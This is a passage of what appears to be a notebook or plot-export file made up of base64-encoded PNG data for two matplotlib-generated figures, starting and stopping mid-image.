pngOXKknnjiiUZeKQAA/469oI/i8F7QOX8bp9i20WFdZ939g8xz9vWPNOWfm/Ab84zpfYaa8jvnn2jKR+T7 #o> pngTXlJmnOj7Zuh9eXdzDNe2nmqKR8VYdunuWRziikvSdFB2+bAmX+w/zHgv+61rSuytW2/aZ/P/rQRt962 #o> pngX3hZVrl5xsMD/2TK/2qbbV/1ad1fM+Ul6c75E035zPn2+7v/0k9M+Qjj/ffuJT1NeUn65esLTPkpN9r2 #o> pngjpakP/1udtjZgwdD6n5SCXtBAwDQ0lHAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMU #o> pngMAAADlDAAAA4QAEDAOAABQwAgANN9mxIjelf50YryhfeyRg+fbrGfPs9nrBtOt/nJ/aN8A8NOdmU79B2 #o> pngnyl/zU9WmvKSNPXBG0z5L/raTpQgSUkbjd9jltpmLH34EdvtS7r4mVtsVwjZ7++E92NM+QnXrjDln9g8 #o> pngxJSXpAjb+R6U9Gor84zf3T/alP/s3jamfN59V5nyktT5o4ApX9E92Tzj1fkZpnzq3w+a8iNf/rspL0mv #o> pngl/Yx5aNL7c+dPzr/urCzNbWVkh40z2hIvAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAA #o> pngHKCAAQBwgAIGAMABChgAAAcoYAAAHGAv6DDs+tmpiowNb1/aPpkfm2+/urK9KX9Rt7PNM9q032nKn5m2 #o> pngw5SfN/UCU16SUnZ+bsr3mrDXPGP3a91N+bi3PzLlr3pvgikvSTVtbXs71xTtMs9IzU805f+7+/dN+bvP #o> pngXWbKS9JHJ6Wa8ovfzjLPaPeRbf/o3uklpvwnl9i+ViUpto1tr/cDy/3mGTrnC1M8YqXtMbjw1yNNeUkK #o> pnghbd9fp24jva93qPahF9hNdXH3+vN429FAAC0ABQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhA #o> pngAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4IDP8zzbrtwtSDAYlN/v15829VSb+MiwrjN5w+XmOdWf2zaQ #o> png77a4xjyj8CqfKf/28N+Y8o/ss58gYmjCB6b85DeuMs+YOPgtU/6dMSea8qEk+8b5h9LbmvKvP/OEecaY #o> pngD8ab8lHZtpN11Jw7wJSXJJ/xqca7e595xoqTlpjyZ9492TbgOzxbnn/Lm6b8te02mGcMf+d6U75ma7wp #o> pngf+LyQ6a8JO0c2do2488HzTMKrokLOxs6VKFdufcpEAgoISHBPKsh8AoYAAAHKGAAAByggAEAcIACBgDA #o> pngAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcCDK9QKagid+dIGiImPDyqY+ZN/PtKgs #o> pngxpS/cM5K84zfPjPWlE8eEf4eq5JUcDDFlJek1Y+fYcrffOtr5hlztw425fsu3mPKx0YETXlJ+qzSthf0 #o> pngiwfTzDM+Lupoyp90im3fXpVW2fKSfA9+bsqPSnnfPOMHF19jyreZuduUP1Bu/DxJeu61YaZ82/MqzDOe #o> pngPe05U35CgW0P7IiqWlNeklLzbXvW7xhr35/5pNklYWdraiu1yzyhYfEKGAAAB5psAefl5WngwIGKj49X #o> pngcnKyxo0bp4KCgnqZoUOHyufz1btcf73trCEAADSEJlvAa9asUU5OjtatW6eVK1equrpaI0aMUFlZWb3c #o> pngpEmTtGfPnrrLrFmzHK0YAID/02R/B7xixYp6b8+bN0/JycnauHGjhgwZUvf+uLg4paamNvbyAAA4qib7 #o> pngCvjrAoGAJCkxMbHe+59//nklJSWpT58+mjZtmsrLy7/xNiorKxUMButdAABoCE32FfBXhUIhTZkyRWee #o> pngeab69OlT9/4rrrhCXbp0UXp6ujZv3qw77rhDBQUFevnll494O3l5eZo5c2ZjLRsA0II1iwLOycnRli1b #o> png9NZbb9V7/3XXXVf3/3379lVaWpqGDx+uwsJCdevW7d9uZ9q0acrNza17OxgMKiMjo+EWDgBosZp8AU+e #o> pngPFnLly/X2rVr1alTp6Nms7KyJEnbtm07YgHHxsYqNja8f+8LAMB/oskWsOd5uummm7RkyRKtXr1amZmZ #o> png33qdTZs2SZLS0uwbGwAAcCw12QLOycnRggULtGzZMsXHx6u4uFiS5Pf71bp1axUWFmrBggUaM2aMOnTo #o> pngoM2bN2vq1KkaMmSI+vXr53j1AICWrskW8JNPPinpy802vmru3LmaOHGiYmJi9MYbb2j27NkqKytTRkaG #o> pngxo8fr3vuucfBagEAqK/JFrDneUf9eEZGhtasWXNMZu07vZ0iY1qFlU26p9R8+3NfeNaUn/Gza80zet75 #o> pngkSnf779te8WesLrs20Nf8/mlR78Pv+6H8VvMM36z9/um/NyBq0z5/k/eZMpLUv71vzblB83N/fbQ18SV #o> png+0z5DyZHmvJvjHnElJekvx3qasr3jrHtyy1JH/3G9m/+1750mil/8eWrTXlJ+uOH55jy6w7YPk+SlBFt #o> png22f7rOHvmfI7V/Qw5SUpotb29e072b6P/o5fhr83d225T/qxeUSDajb/DhgAgKaEAgYAwAEKGAAAByhg #o> pngAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAc8HnfdlaDFiwYDMrv9yvz #o> png2bsVERfeyRgWnvG0ec69o64w5Ye99E/zjDfH2U7BGNpRZMpHZpxgykuSF+bn9LBLXnrTPOPn75xnykdE #o> pnghUz50zrbPk+StHlVL1P+pQm2kzdI0nkrbjble/yhypQPnmi77yQp/pMKU/4vL/7ePGNc1vmmfNmz0aZ8 #o> png9dMpprwkzfrVk6b8jKuuMc8oHhxnyoeMp+E5dey/bFeQtPeWLqb81qtjzDOiEyrDzobKK7T96l8qEAgo #o> pngISHBPKsh8AoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByg #o> pnggAEAcMC4I2jLdEv/lWrdNrxP1f7aNubbD/TrYMrPXTjSPOPx139ryj94zVWmfGTRF6a8JG29KtGU/6/W #o> png280zIkpiTfm0fNte0KUFSaa8JHVpc9CUv3eYbX9jSXr43BdM+duqLjflO/3V9nmSpM/vKDflx3w4zjzj #o> pngrFcLTfnX84aY8vc/aN/r/cbHJpvyqTN3mmekPJBsyscYv16/mG/ba1qSHv37U6b8tfdMNc840KNt2Fmv #o> png4virO14BAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAA #o> pngAA5QwAAAOHD87U59HHrw7z9QROtWYWUT3o82337a9qApn/BBjXnG/ZuuMeWLJtlmxK9PN+Ul6dxh/zTl #o> pngJ9x5i3lGcsgz5Xef5TPlIwfZTighSVeOXmPKz9+cZZ4xrMNHpnz6Wtvt7z/J/tTR6fytpvxLRfnmGQOf #o> pngyTXlWxnPpXH3fZNsV5AUmWB7DJ7dcZt5xt/useW9820nY3jw/VW2AZIu+JPt5Ao9X7M9ZiUp8R/hf/3V #o> png1FbqY/OEhsUrYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBw #o> pnggK0oj8LzvtxCLnSoIuzr1FbWmufU1IZ/+5Lkq/0OM6ptW2SGym1bUdZW2rZwlKSq0irbjGrb50mSFDLG #o> pngjSN8VfbjriytNuVD5fbjrii13X81xs9tbWWkKS9JNZ7tuIMHjXeepNoK43HYHoKqrfoOazI+RiqMjw9J #o> pngqimrNOUjPNuBl36H+yJkvC9qQsY7Q5Jqwz/umv/NHn5ePx74vONpNceZXbt2KSMjw/UyAADHSFFRkTp1 #o> png6uR6GZIo4KMKhULavXu34uPj5fP933exwWBQGRkZKioqUkJCgsMVNi6Om+NuCTju5nncnufp4MGDSk9P #o> pngV0TE8fHbV34EfRQRERFH/U4pISGhWT5Qvw3H3bJw3C1Lcz5uv9/vegn1HB/fBgAA0MJQwAAAOBA5Y8aM #o> pngGa4X0RRFRkZq6NChiopqWT/F57g57paA425Zx+0Kf4QFAIAD/AgaAAAHKGAAAByggAEAcIACBgDAAQoY #o> pngAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDA #o> pngAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIAC #o> pngBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAgf8P+DavEpZxBLMAAAAA #o> pngSUVORK5CYII= #o> png}}} #o> 2 (30, 30) #o> png{{{ #o> pngiVBORw0KGgoAAAANSUhEUgAAAeAAAAHgCAYAAAB91L6VAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAP #o> pngYQAAD2EBqD+naQAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4yLCBodHRwOi8v #o> pngbWF0cGxvdGxpYi5vcmcvhp/UCwAAIABJREFUeJzt3Xl4VOX5xvE765BAMhgwG4QQFkHZrCCLKKJQArZU #o> pngFC24AkWtGKgQtx9uQLWm4ka1CG4FbcVdsFqLFZRQK6BCEWlrhAglCAkCMkMGsp/fH17GxiLOYwkvSb6f #o> png65pLSe6Z5z05Se5MlvdEeJ7nCQAAHFWRrhcAAEBTRAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwA #o> pnggAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAA #o> pngBQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAED #o> pngAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4 #o> pngQAF/D3PnzlX79u3VrFkz9evXT++9957rJdWrmTNnKiIios6ta9eurpd1xK1cuVIjR45Uenq6IiIitGTJ #o> pngkjqv9zxPt99+u9LS0hQXF6ehQ4dq06ZNjlZ75HzXcY8fP/6/zv/w4cMdrfbIyMvL06mnnqqEhAQlJydr #o> png1KhRKigoqJMpKytTTk6OWrVqpRYtWmj06NEqKSlxtOIjI5zjHjx48H+d76uvvtrRihs3CtjoueeeU25u #o> pngrmbMmKF169apV69eys7O1q5du1wvrV5169ZNO3furL298847rpd0xIVCIfXq1Utz58495Otnz56tBx98 #o> pngUPPnz9eaNWvUvHlzZWdnq6ys7Civ9Mj6ruOWpOHDh9c5/88888xRXOGRl5+fr5ycHK1evVpvvvmmKisr #o> pngNWzYMIVCodrMtGnT9Oqrr+qFF15Qfn6+duzYofPPP9/hqv934Ry3JF155ZV1zvfs2bMdrbiR82DSt29f #o> pngLycnp/bf1dXVXnp6upeXl+dwVfVrxowZXq9evVwv46iS5C1evLj23zU1NV5qaqp3zz331L5s3759ns/n #o> png85555hkXS6wX3zxuz/O8cePGeeeee66jFR0du3bt8iR5+fn5nud9eW5jYmK8F154oTbzr3/9y5PkrVq1 #o> pngytUyj7hvHrfned6ZZ57pXXvttQ5X1XTwDNigoqJCa9eu1dChQ2tfFhkZqaFDh2rVqlUOV1b/Nm3apPT0 #o> pngdHXo0EGXXHKJtm3b5npJR9WWLVtUXFxc59z7/X7169ev0Z97SVqxYoWSk5PVpUsXTZo0SXv27HG9pCMq #o> pngEAhIkpKSkiRJa9euVWVlZZ3z3bVrV7Vr165Rne9vHvdXnn76abVu3Vrdu3fX9OnTdeDAARfLa/SiXS+g #o> pngIdm9e7eqq6uVkpJS5+UpKSn6+OOPHa2q/vXr108LFy5Uly5dtHPnTs2aNUtnnHGGNm7cqISEBNfLOyqK #o> pngi4sl6ZDn/qvXNVbDhw/X+eefr6ysLBUWFurmm2/WiBEjtGrVKkVFRble3v+spqZGU6dO1cCBA9W9e3dJ #o> pngX57v2NhYtWzZsk62MZ3vQx23JF188cXKzMxUenq6NmzYoJtuukkFBQV6+eWXHa62caKA8Z1GjBhR+/89 #o> pnge/ZUv379lJmZqeeff14TJ050uDIcDWPHjq39/x49eqhnz57q2LGjVqxYoSFDhjhc2ZGRk5OjjRs3Nsrf #o> pngazicbzvuq666qvb/e/ToobS0NA0ZMkSFhYXq2LHj0V5mo8a3oA1at26tqKio//pNyJKSEqWmpjpa1dHX #o> pngsmVLnXDCCdq8ebPrpRw1X53fpn7uJalDhw5q3bp1ozj/kydP1muvvaa3335bbdu2rX15amqqKioqtG/f #o> pngvjr5xnK+v+24D6Vfv36S1CjO97GGAjaIjY1V7969tXz58tqX1dTUaPny5RowYIDDlR1dpaWlKiwsVFpa #o> pngmuulHDVZWVlKTU2tc+6DwaDWrFnTpM69JG3fvl179uxp0Off8zxNnjxZixcv1ltvvaWsrKw6r+/du7di #o> pngYmLqnO+CggJt27atQZ/v7zruQ1m/fr0kNejzfaziW9BGubm5GjdunPr06aO+fftqzpw5CoVCmjBhguul #o> png1Zvrr79eI0eOVGZmpnbs2KEZM2YoKipKF110keulHVGlpaV1vsrfsmWL1q9fr6SkJLVr105Tp07VnXfe #o> pngqc6dOysrK0u33Xab0tPTNWrUKIer/t8d7riTkpI0a9YsjR49WqmpqSosLNSNN96oTp06KTs72+Gq/zc5 #o> pngOTlatGiRXnnlFSUkJNT+XNfv9ysuLk5+v18TJ05Ubm6ukpKSlJiYqClTpmjAgAHq37+/49V/f9913IWF #o> pnghVq0aJHOOecctWrVShs2bNC0adM0aNAg9ezZ0/HqGyHXv4bdED300ENeu3btvNjYWK9v377e6tWrXS+p #o> pngXo0ZM8ZLS0vzYmNjvTZt2nhjxozxNm/e7HpZR9zbb7/tSfqv27hx4zzP+/JPkW677TYvJSXF8/l83pAh #o> pngQ7yCggK3iz4CDnfcBw4c8IYNG+Ydf/zxXkxMjJeZmeldeeWVXnFxsetl/08OdbySvAULFtRmDh486F1z #o> pngzTXecccd58XHx3vnnXeet3PnTneLPgK+67i3bdvmDRo0yEtKSvJ8Pp/XqVMn74YbbvACgYDbhTdSEZ7n #o> pngeUez8AEAAD8DBgDACQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggL+H8vJyzZw5U+Xl5a6X #o> pngclRx3Bx3U8BxN63jdomNOL6HYDAov9+vQCCgxMRE18s5ajhujrsp4Lib1nG7xDNgAAAcoIABAHCAqyEd #o> pngRk1NjXbs2KGEhARFRETUvjwYDNb5b1PBcXPcTQHH3TiP2/M87d+/X+np6YqMPDaee/Iz4MPYvn27MjIy #o> pngXC8DAHCEFBUVqW3btq6XIYlnwIeVkJAgSbprRV81axHem2ruiz82zylPrjLlT7jtX+YZEanJpnzhOFs+ #o> pngOhTx3aFvyFyy25T/9OJW5hkX/PBvpvy6c2wzqrq0M+UlqfCyGFO+5fGl5hnJ47aZ8psf7GLK1xywHYMk #o> pngdeq405RPanbAPOO9Td99gfn/lJb6hSm/Z3+8KS9JWa33mvK7XrK/T5UdZ/v4m33570z5KfmXmfKSFNnM #o> png9nntpIxi84zKy2rCzlbVVCh/7+9rP68fCxp9Ac+dO1f33HOPiouL1atXLz300EPq27dvWPf96tvOzVpE #o> pngKy7MAo7yNTOvMTLO9o4aHRFrnhER5TPlI5vZjiOqyl7A0fW8JknytbAVhfltG/19zrdtTVHxleYZ1uOI #o> pngjDceh2cv4OjmtvMdY/wELkmRcbbjsK4pqtp+vs0zYu0zony2j7/mCVGmvPXt+uV9bOcvprn985oXGX4B #o> pngf+U/f5zo2rHxjfB68txzzyk3N1czZszQunXr1KtXL2VnZ2vXrl2ulwYAaOIadQHff//9uvLKKzVhwgSd #o> pngdNJJmj9/vuLj4/W739m+/QIAwJHWaAu4oqJCa9eu1dChQ2tfFhkZqaFDh2rVqlWHvE95ebmCwWCdGwAA #o> png9aHRFvDu3btVXV2tlJSUOi9PSUlRcfGhf9ifl5cnv99fe+M3oAEA9aXRFvD3MX36dAUCgdpbUVGR6yUB #o> pngABqpRvtb0K1bt1ZUVJRKSkrqvLykpESpqamHvI/P55PPZ/uNRQAAvo9G+ww4NjZWvXv31vLly2tfVlNT #o> pngo+XLl2vAgAEOVwYAQCN+BixJubm5GjdunPr06aO+fftqzpw5CoVCmjBhguulAQCauEZdwGPGjNHnn3+u #o> png22+/XcXFxTr55JO1dOnS//rFLAAAjjb2gj6Mr66P+du1fcPeCevZi35onhOx2bZtYHm/E8wzuub9w5Qv #o> png7Gu7KPeeK/qb8pLUbK9tF5vEyfZfipvT4QVTfszsG0z5/acdNOUl6e5TXzLlX9/b0zxj+4CQKR9xykmm #o> pngfOXd+015Sdq6Md2UP+4j+45FoeG2bTvL9tp2eOrwnH3nJd9tti04J7Z5xzzjiVHDTfldpxm3df0eLbGv #o> pngqy0/fPA684w+CVvCzh4srdLk3u8dU9c7brQ/AwYA4FhGAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAF #o> pngDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAONOqrIR0pj285XVHxvrCyfR4tND/+1cevMOVTo5aa #o> pngZ/R741pTvsspxosM2PeoVyArypT33ZFmnjHqNNvFFTIXrDfly5NONuUlaeaHl5ryzQbtNs/YP7O1Kd/x #o> png0a2mfOHaTFNekuJ32y6ukPzXEvOMu25dZMrfMmSMKV/16VZTXpLKovuY8k9stV/Q5Revv2LKP9DZdvEN #o> pngLWtjy0uakPahKf/43JHmGXETK8LOlh+oND9+feMZMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4 #o> pngQAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOBAhOd5nutFHKuCwaD8fr/+vKG9mieE97XK+jL7HrmPP2zb #o> pngAzXY37hPs6S4jXGmfJsfbjPli1a0M+UlqaKr7Tj6Z20xz1i71LbnbU23UlP+7lNeNuUl6dEfZZvyn94Z #o> pngb54R57Ptexvcb3v/iIsPfw/er7Rtuc+U3/mK/WMp+SdFpnyXxF2m/ObTTXFJ0if32fYL92LtG6t3+n2V #o> pngKV84NtaUb/WB/blaxoTNpvxH2+37TUdEhv+2qjlQpi0T7lIgEFBiYqJ5Vn3gGTAAAA5QwAAAOEABAwDg #o> pngAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIAD0a4X0BDcdP+Viopt #o> pngFlZ2Uu5i8+MfvzZkykeV2zfnD5x1wJT/ZGuqKR8ba7+mR9Y8233evbCreYa/915Tflyn1ab8qOa2izdI #o> png0q2/Du996SsvnfKoecaPl15ryl8+4G+m/JCEf5jykvSrTr1N+dS+rcwztrZua8pfcuEaU/71x35sykvS #o> pngibftMOUHvvqJecbGbummfNRU29spMlRuyktS8YGOpnz0BbbPg5LUIy38t21lqEL2y7nUL54BAwDgAAUM #o> pngAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA6wF3QYDiRHKMoX #o> pngEV62xmd+/OhPd5ry9/5hmXnGjKlXmPKe8UuzmCmf2e4g6bNy2360p/fdaJ7xt0LbfrRPbu5vyi/9aYop #o> pngL0mhh2x7eU/852XmGe0X15jyi/YNMuXfX3CiKS9JdxUuMuVD3lrzjHdKu5jyv/zLeaZ89PFlprwkVaW0 #o> pngNOWf+/QU84yUe2yfdz77v0pTvmXzKlNekqZ2eMaU/9U/zzHPuLnN62FnS/fX6I/mCfWLZ8AAADjQqAt4 #o> png5syZioiIqHPr2tV+RR0AAI60Rv8t6G7dumnZsq+/ZRsd3egPGQDQADT6NoqOjlZqqu3atgAA1LdG/S1o #o> pngSdq0aZPS09PVoUMHXXLJJdq2bdu3ZsvLyxUMBuvcAACoD426gPv166eFCxdq6dKlmjdvnrZs2aIzzjhD #o> png+/fvP2Q+Ly9Pfr+/9paRkXGUVwwAaCoadQGPGDFCF154oXr27Kns7Gy9/vrr2rdvn55//vlD5qdPn65A #o> pngIFB7KyoqOsorBgA0FY3+Z8D/qWXLljrhhBO0efPmQ77e5/PJ57P/HS8AAFaN+hnwN5WWlqqwsFBpaWmu #o> pnglwIAaOIadQFff/31ys/P19atW/Xuu+/qvPPOU1RUlC666CLXSwMANHGN+lvQ27dv10UXXaQ9e/bo+OOP #o> png1+mnn67Vq1fr+OOPd700AEATF+F5nud6EceqYDAov9+v6auy1axFTFj3eemRs81zYvfbTkGbKw79M+zD #o> pngKb88zpTPfGGXKb+1NMmUl6Qb2y015WePsO3bK0nbf2zbqzkmZDsXUeWmuCTp877VpnyzYvvXyX+98h5T #o> png/ic3XGfKD7xxjSkvSS+u623Kt/lzlHnGn34zx5S/6KxLTPltd9s+jiTp9T6PmPJP7etjnvG3S0825YtG #o> png2D5eQ+3te0G3TLf9GWdMtO3jQpKO//mBsLNVNeVa9tl8BQIBJSYmmmfVh0b9LWgAAI5VFDAAAA5QwAAA #o> pngOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgABdjOIyvLsZwdvxY #o> pngRUfEhnWf0GLb5v+S1GJaeBd6+MqWC1qbZ7S7Y5Upn/NJgSl/7Vu2Te0lqUvO3035Xu/bN4RPiCoz5X+S #o> pnguN6UP1BjO3eSlBBZYcpf1/lM84yyP6Wb8qPb2M7Fizdlm/KSpAhbvP8v3zOPWPrvE0354+IPmvJfGN+u #o> pngkpT++IemfPH4XuYZaS/aLtBS/NhxpnzKT/9tykvS/h/bjqN9ru1zjiStWRn++a4pK9PWGbdwMQYAAJo6 #o> pngChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHIh2vYCG4Ky3 #o> pngd6lZi/DeVMuGtDA//hPvv2zKD3n0RvOMrc/2MOVvfKa/KX98792mvCSN3bjNlJ8z9wLzjOAJ1ab8MzvP #o> pngNuXv+9kTprwk5Ye6mvLFk/qYZ7x94r2m/OiJvzDlr5v7B1Nekn7z84tM+WGJH5lnvLH8NFM+/vyAKT90 #o> png4lumvCRddf1aU35cF/v2/D9dZ9sL+vkB3Uz5T+74gSkvSe1fLzflN++z73Ff3bwm7GxNZPjZo4VnwAAA #o> pngOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5w #o> pngMYYwPPLBIEXGNQsrOyt/ifnx3zzQ3pRvttu+WbsvMWTKDzvXtoH8+JZrTHlJGjPjBlP+vGkrzDPey84w #o> png5Rd9YDt/fZ7ONeUlqdPTX5jy3i9teUm69PQxpnzJxbGm/LXv2C6sIEmpqTGmfHFVS/OMd2+aY8qPuHqy #o> pngKf9Su/amvCT9rtuZpnzU47aLGEjSooknmPKPrP+tKX/LdlNcklTWz1Yvf+zwJ/OMfm9NDTtbXR5lfvz6 #o> pngxjNgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAH2 #o> pnggg5D84JYRfnC2yv3ob9daH78+M+rTfklc+8xzxjyrG3f5SXltr2B3xubYMpL0u57akz51Zf1NM/4eEai #o> pngKZ+7/Yem/NzRj5vykjTnqfNN+fSxW80ztv3iFFP+4IlltgFl9n11U36+xZRvE23fA/uhL7qZ8jsH2o7j #o> pngnGHvmfKSVDA4zpQ/eEZX84z9mbbjyDlnoin/yfgkU16SvGjbnvWjfzHePCM0Nfx9s2sO2vfYrm88AwYA #o> pngwIEGW8ArV67UyJEjlZ6eroiICC1ZUvcqNp7n6fbbb1daWpri4uI0dOhQbdq0ydFqAQCoq8EWcCgUUq9e #o> pngvTR37txDvn727Nl68MEHNX/+fK1Zs0bNmzdXdna2ysqM32oDAKAeNNifAY8YMUIjRow45Os8z9OcOXN0 #o> png66236txzz5UkPfXUU0pJSdGSJUs0duzYo7lUAAD+S4N9Bnw4W7ZsUXFxsYYOHVr7Mr/fr379+mnVqlXf #o> pnger/y8nIFg8E6NwAA6kOjLODi4mJJUkpKSp2Xp6Sk1L7uUPLy8uT3+2tvGRkZ9bpOAEDT1SgL+PuaPn26 #o> pngAoFA7a2oqMj1kgAAjVSjLODU1FRJUklJSZ2Xl5SU1L7uUHw+nxITE+vcAACoD42ygLOyspSamqrly5fX #o> pngviwYDGrNmjUaMGCAw5UBAPClBvtb0KWlpdq8eXPtv7ds2aL169crKSlJ7dq109SpU3XnnXeqc+fOysrK #o> png0m233ab09HSNGjXK4aoBAPhSgy3gDz74QGeddVbtv3NzcyVJ48aN08KFC3XjjTcqFArpqquu0r59+3T6 #o> png6adr6dKlatasmaslAwBQK8LzPNuGnU1IMBiU3+/XY+tOUXyL8PZanXedfS/oC+5+w5T/89ldzDN2jexo #o> pngyu85xbY/9QmT15ryknTJP/9tys9YYdtDWZJOmrXNlA89afsCbe8b6aa8JIXa2PbA9n1h/0lR+l9tG85U #o> pngN7PtJdznrg9MeUlat9f2VwUly9qaZ7T+sNKUz5rxsSn/3h97mPKSdPO450z5B2b/1DyjqnmEKV/Z3Pb4 #o> pngmY/a3k6SdMv7y0z5l7/oY56R7f8o7Gxof7UuOPkTBQKBY+b3exrlz4ABADjWUcAAADhAAQMA4AAFDACA #o> pngAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAw32akhH0zPjhio6yhdWduJz #o> pngL5sf/9kBtg3eT36r2DyjfbONpnxPX5Epn3PFZFNeknZWBk35GH+5eYZXUWHK7/lLB1P+V1cvNOUlaW91 #o> pngC1P++f4nmmd8+mg7U37NaXNN+ek7z/ru0DdU19i+3q/oFTLPiF9su8+qbe1N+Y6LtpvykvRAie3iCumX #o> pngbzHP2Phv20VBNpz9sCm/f1KVKS9JF02aZsp/3ivGPOP1mP5hZ6vLyiTdbJ5Rn3gGDACAAxQwAAAOUMAA #o> pngADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADjAXtBh2NPLr6jYZmFlB8dv #o> pngNT/+CWtLTPlf/NK+73KrdV+Y8u1ffsmU3zvAtueyJP3h9z805Qee/5F5xtpxtn222730mSl/W+V4U16S #o> pngBl66zpQvfS7JPKP5S7b9pn/y+2tN+YceetCUl6Trp15tykefFW+esS3Ptmdx+7s8U96LD+/zwH86mBJh #o> pngyledb/9Yyhhg+1Teu8i2T3Pq6mpTXpJiQrZzsS7Htj+1JL0Sah129sD+ak38tXlEveIZMAAADlDAAAA4 #o> pngQAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMRnufZdiNv #o> pngQoLBoPx+v36+crRiW8SEdZ/X/3KqeU7Hp20XSqhsbd+kPvbDLbY7eDWm+FMfvW57fEn/rgrvbfqVW08c #o> pngZJ7x509Xm/K7q0Om/BmP3WDKS1K7pftN+U2X2893yru2CwAc9/4uU76iTUtTXpJufWKhKT/7tKHmGQdO #o> pngyTTlv+hiex+sGGg7d5LUKsH2PpXf40XzjMFTJpnyj97/gCn/079fYcpLUvMXE035pFf/aZ4R+cfmYWcr #o> pngQxVads4jCgQCSky0ra2+8AwYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoY #o> pngAAAHKGAAAByggAEAcCDa9QIagsLLUhUd6Qsru+CtuebHv3rPZFM++qB5hK6d/w9T/oH5F5jyg9ZkmPKS #o> pngVFmYYMof99Ju84wf9bbtWVxVXGLKV99l30r9YFqcKZ/6jm1fZ0kq6W/L/+6uP5jyE27JtQ2Q9LPXrzTl #o> pngWz1h2yNdkjoft9mU37Gtne3xbwiY8pJ074pnTflhl00xz9gzIMqU/+vBTqZ8r5Qdprwk7X2vzJTfMrW7 #o> pngeUbZpxVhZ2sO2tZzNPAMGAAABxpsAa9cuVIjR45Uenq6IiIitGTJkjqvHz9+vCIiIurchg8f7mi1AADU #o> png1WALOBQKqVevXpo799u/5Tt8+HDt3Lmz9vbMM88cxRUCAPDtGuzPgEeMGKERI0YcNuPz+ZSamnqUVgQA #o> pngQPga7DPgcKxYsULJycnq0qWLJk2apD179hw2X15ermAwWOcGAEB9aLQFPHz4cD311FNavny57r77buXn #o> png52vEiBGqrq7+1vvk5eXJ7/fX3jIy7L/ZCwBAOBrst6C/y9ixY2v/v0ePHurZs6c6duyoFStWaMiQIYe8 #o> pngz/Tp05Wb+/WfVwSDQUoYAFAvGu0z4G/q0KGDWrdurc2bv/3vBH0+nxITE+vcAACoD02mgLdv3649e/Yo #o> pngLS3N9VIAAGi434IuLS2t82x2y5YtWr9+vZKSkpSUlKRZs2Zp9OjRSk1NVWFhoW688UZ16tRJ2dnZDlcN #o> pngAMCXGmwBf/DBBzrrrLNq//3Vz27HjRunefPmacOGDXryySe1b98+paena9iwYbrjjjvk84W3pSQAAPUp #o> pngwvM8+2a2TUQwGJTf79f9H5ymuBbhfa0y95FR5jmhtjWmfKsN9r2BDx5vu8+dVy805e/LvdSUl6S4nQdM #o> png+Wb3fW6e8XFJsik/4cTVpvz8NWea8pIUWWr7urdV58P/+dyhJN5r22c7fqZtr9/gbPsvJzZf/5ntDpH2 #o> pngn5BVZrQy5Sc/+YIp/6s7xpnykhRRY/sUu2uA/VNy1wdt7yNVSc1N+UCneFNekl69615T/oyF15tnZL4e #o> png/ueQqqoy5b/3KwUCgWPm93uazM+AAQA4llDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwA #o> pnggAMUMAAADlDAAAA4QAEDAOAABQwAgANcjOEwvroYQ/crfqWo2GZh3eeu635nnvPggEG2Oxz3PTYS/yJo #o> pngin86N9WUz+m20pSXpD+f18eUjwgdNM/4w+oXTflhM64z5Vv9fq0pL0nxy/2m/PYnOpln1MTa8q3Xl5ry #o> 